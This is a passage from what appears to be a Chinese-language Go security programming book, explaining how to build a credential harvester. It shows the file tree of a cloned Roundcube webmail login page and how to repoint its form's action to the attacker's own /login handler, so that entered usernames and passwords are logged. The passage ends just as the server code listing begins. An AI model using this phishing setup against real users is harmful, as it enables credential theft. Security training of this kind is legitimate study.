

Chrome 浏览器进行保存。在练习文件夹中，你会看到一个类似于代码清单 4-7 所示的目录结构。

代码清单 4-7 /ch-4/credential_harvester/目录列表

```
$ tree
.
+-- main.go
+-- public
    +-- index.html
    +-- index_files
        +-- app.js
        +-- common.js
        +-- jquery-ui-1.10.4.custom.css
        +-- jquery-ui-1.10.4.custom.min.js
        +-- jquery.min.js
        +-- jstz.min.js
        +-- roundcube_logo.png
        +-- styles.css
        +-- ui.js
index.html
```

public 目录中的文件表示未更改的复制登录站点。需要修改原始登录表单以重定向输入的凭证，然后将其发送给你自己而不是合法服务器。首先，打开 public/index.html 并找到用于 POST 登录请求的元素 form。该元素看起来应该如下所示。

```
<form name="form" method="post" action="http://127.0.0.1/?_task=login">
```

我们需要修改此标记的 action 属性并将其指向服务器。将 action 更改为/login。要记得保存它。该行现在应如下所示。

```
<form name="form" method="post" action="/login">
```

要正确渲染登录表单并获取用户名和密码，首先需要将文件放在 public 目录中。然后，需要为/login 编写一个 HandleFunc 来捕获用户名和密码。通过一些详细的日志记录将捕获的凭证存储在文件中。

只需要几十行代码就可以处理所有这些步骤。代码清单 4-8 完整演示了该程序的实现。

代码清单 4-8 凭证收割服务器(/ch-4/credential_harvester/main.go)

```
package main

import (
```